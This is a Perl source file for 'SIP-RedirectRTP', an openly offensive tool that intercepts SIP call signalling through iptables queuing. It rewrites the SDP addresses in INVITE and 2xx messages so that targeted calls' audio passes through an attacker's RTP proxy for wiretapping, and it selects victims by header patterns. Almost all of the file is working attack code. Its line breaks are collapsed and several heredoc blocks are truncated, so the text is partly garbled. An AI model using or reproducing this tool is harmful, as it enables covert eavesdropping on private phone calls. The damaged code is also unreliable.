#!/usr/bin/perl # SIP-RedirectRTP 0.1 # Manipulate SIP-signalisation so that the media stream is sent from both # sides to an RTP-proxy, which forwards the stream to the other side and # does additional things like wiretapping. # The manipulation is done through iptables userspace queuing, so this # only runs under linux. # # Copyright (C) 2005 Thomas Skora # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # WARNING: # There exist many buggy NetPacket::IP installations, where the IP checksum # is not correctly calculated!!! # # Changelog: # 0.1: first release # # TODO: # - Signalisation with RTP proxy blocks program. It should fork when it goes # into proxy_* subs. # - Responses aren't matched to requests, there could appear race conditions # under *very* heavy load situations. use Getopt::Std; use NetPacket::IP; use NetPacket::UDP; use IPTables::IPv4::IPQueue qw(:constants); use Net::DNS; use IO::Socket; use IO::Select; $defaultrtpproxysigport = 64120; $udp_maxlength = 1400; $udp_inittimeout = 0.5; $udp_maxretries = 5; sub HELP_MESSAGE { print <[:] Adress of RTP-proxy (mandatory) and optional signalisation port. -a also manipulate IP in the SDP-origin-line. The patterns are perl-flavoured regular expressions which are corresponding to the given headers. If one attribute should be ignored, use . (point) as pattern. EOH } sub verbose { if ($opt_v) { print $_[0]; } } sub proxy_send { # send UDP message to proxy with retries my ($msg) = @_; my @ready; my $count = $udp_maxretries; my $udp_timeout = $udp_inittimeout; while (@ready == 0 && $count > 0) { # print "trying\n"; $rtpproxy->send($msg); @ready = $rtpsel->can_read($udp_timeout); $count--; $udp_timeout *= 2; } # print "count=$count, a=".@ready."\n"; return $count; } sub proxy_register { # register to a RTP proxy my ($ip, $port) = @_; verbose "Register at RTP-proxy $proxy_ip:$proxy_port...\n"; $rtpproxy = IO::Socket::INET->new( # connect signalisation to RTP proxy Proto => "udp", PeerAddr => "$ip", PeerPort => "$port" ) or die "Cannot create UDP socket: $@"; $rtpproxy->autoflush(1); # shouldn't needed any more since TCP and new IO::-stuff, but who cares... $rtpsel = IO::Select->new($rtpproxy); proxy_send("REGISTER\n") > 0 or die "RTP proxy never answers!"; $rtpproxy->recv(my $response, $udp_maxlength); $response =~ /^OK/i or die "Cannot register to RTP proxy!"; ($proxy_rtpport) = ($response =~ /^rtpport=([0-9]+)/m); # get media port verbose "Proxy RTP port is $proxy_rtpport\n"; } sub proxy_announce { # announce a RTP session to the proxy. my ($callid, $session) = @_; my $msg = <recv(my $response, $udp_maxlength); $response =~ /^OK/ or print "Error from RTP proxy: $response\n"; # something gone wrong with the RTP proxy } sub proxy_discard { # announce a RTP session to the proxy. my ($callid) = @_; my $msg = <recv(my $response, $udp_maxlength); $response =~ /^OK/ or print "Error from RTP proxy: $response\n"; # something gone wrong with the RTP proxy } sub process_queue { # fetch incoming packets from queue and process them my $msg = $ipq->get_message() or die IPTables::IPv4::IPQueue->errstr; # debugging stuff # print "Packet-ID=".$msg->packet_id().", mark=".$msg->mark().", timestamp=".$msg->timestamp_sec().".".$msg->timestamp_usec().", hook=".$msg->hook().", data_len=".$msg->data_len."\n".$msg->payload()."\n"; # the following code assumes that the packets are already filtered with appropriate iptables-rules my $pkt = $msg->payload(); my $ip_pkt = NetPacket::IP->decode($pkt); my $udp_pkt = NetPacket::UDP->decode($ip_pkt->{data}); my $sip_pkt = $udp_pkt->{data}; # some preprocessing for displaying, must later be undone!!! $sip_pkt =~ s/\r//g; @sip_pkt = split /\n/, $sip_pkt; verbose "From $ip_pkt->{src_ip}:$udp_pkt->{src_port} to $ip_pkt->{dest_ip}:$udp_pkt->{dest_port}: $sip_pkt[0]\n"; if ($sip_pkt[0] =~ /^INVITE/) { # received INVITE # selective attack if (!defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) && ($sip_pkt =~ /^To:.*$topat/mi) && ($sip_pkt =~ /^INVITE.*$reqpat/mi))) { if ($opt_v) { print "not matching\n" } return } if (defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) || ($sip_pkt =~ /^To:.*$topat/mi) || ($sip_pkt =~ /^INVITE.*$reqpat/mi))) { if ($opt_v) { print "not matching\n" } return } my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # Call-Id is used to identify sessions ($session{$callid}{fromip}) = ($sip_pkt =~ /^c=[ ]*IN[ ]+IP4[ ]+([0-9\.]+)$/m); # take connection data from SDP ($session{$callid}{fromport}) = ($sip_pkt =~ (/^m=[ ]*audio[ ]+([0-9]+)/m)); $session{$callid}{state} = 1; # State 1: received INVITE, saved first ip:port pair if (defined $opt_a) { $sip_pkt =~ s/^(o=.*IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg; } $sip_pkt =~ s/^(c=IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg; $sip_pkt =~ s/^(m=[ ]*audio[ ]+)[0-9]+/$1$proxy_rtpport/mg; verbose "Packet manipulated.\n"; $sip_pkt =~ s/\n/\r\n/g; # undo preprocessing $udp_pkt->{data} = $sip_pkt; # rebuild ip-packet $ip_pkt->{data} = $udp_pkt->encode($ip_pkt); $pkt = $ip_pkt->encode(); $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; return } elsif ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+2[0-9]{2}/) { # 2xx answer received my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # Call-Id is used to identify sessions defined $session{$callid} or goto accept_pkt; # unknown Call-Id $session{$callid}{state} >= 1 or goto accept_pkt; # if no previous INVITE was received, this makes no sense ($session{$callid}{toip}) = ($sip_pkt =~ /^c=[ ]*IN[ ]+IP4[ ]+([0-9\.]+)$/m); # take connection data from SDP ($session{$callid}{toport}) = ($sip_pkt =~ (/^m=[ ]*audio[ ]+([0-9]+)/m)); $session{$callid}{state} = 2; # State 2: received INVITE, saved second ip:port pair # first manipulate packet and return it to the kernelspace to keep latencies as low as possible if (defined $opt_a) { $sip_pkt =~ s/^(o=.*IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg; } $sip_pkt =~ s/^(c=IN[ ]+IP4[ ]+)[0-9\.]+/$1$proxy_ip/mg; $sip_pkt =~ s/^(m=[ ]*audio[ ]+)[0-9]+/$1$proxy_rtpport/mg; verbose "Packet manipulated.\n"; $sip_pkt =~ s/\n/\r\n/g; # undo preprocessing $udp_pkt->{data} = $sip_pkt; # rebuild ip-packet $ip_pkt->{data} = $udp_pkt->encode($ip_pkt); $pkt = $ip_pkt->encode(); $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr; # now signalisation to RTP-proxy can follow. proxy_announce($callid, $session{$callid}); return } elsif ($sip_pkt[0] =~ /^BYE/) { # BYE-reuqest received my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # Call-Id is used to identify sessions $ipq->set_verdict($msg->packet_id, NF_ACCEPT) or die IPTables::IPv4::IPQueue->errstr; # just accept this packet... proxy_discard($callid); # ...and say the proxy that the RTP session is ending undef $session{$callid}; # remove ended session from hash. return } accept_pkt: $ipq->set_verdict($msg->packet_id, NF_ACCEPT) or die IPTables::IPv4::IPQueue->errstr; # accept all other SIP-traffic } $Getopt::Std::STANDARD_HELP_VERSION = 1; getopts('avop:'); if (defined $opt_p) { # extract address and port $opt_p =~ /^([^:]+)(?::([0-9]*))?/; $proxy_addr = $1; $proxy_port = (defined $2 ? $2 :$defaultrtpproxysigport); $proxy_rtpport = $proxy_port + 1; # TODO: should be signalled by proxy if ($proxy_addr =~ /^(?:[0-9]+\.)+[0-9]+$/) { # address given as ip? $proxy_ip = $proxy_addr; verbose "Use $proxy_ip as proxy.\n"; } else { # if not then resolve verbose "Resolving $proxy_addr..."; my $res = Net::DNS::Resolver->new; my $q = $res->search($proxy_addr); foreach my $rr ($q->answer) { next unless $rr->type eq 'A'; $proxy_ip = $rr->address; verbose "$proxy_ip\n"; last; # get first A record as ip. } } } else { print "No proxy given with -p!\n"; exit 1; } proxy_register($proxy_ip, $proxy_port); if (!defined $opt_v) {$opt_v = 0} # just kill the warning of one usage ;-) if (!defined $opt_a) {$opt_a = 0} # just kill the warning of one usage ;-) $frompat = $ARGV[0] || ""; $topat = $ARGV[1] || ""; $reqpat = $ARGV[2] || ""; $ipq = new IPTables::IPv4::IPQueue(copy_mode => IPQ_COPY_PACKET, copy_range => 65534) or die IPTables::IPv4::IPQueue->errstr; while (1) { process_queue(); } $ipq->close()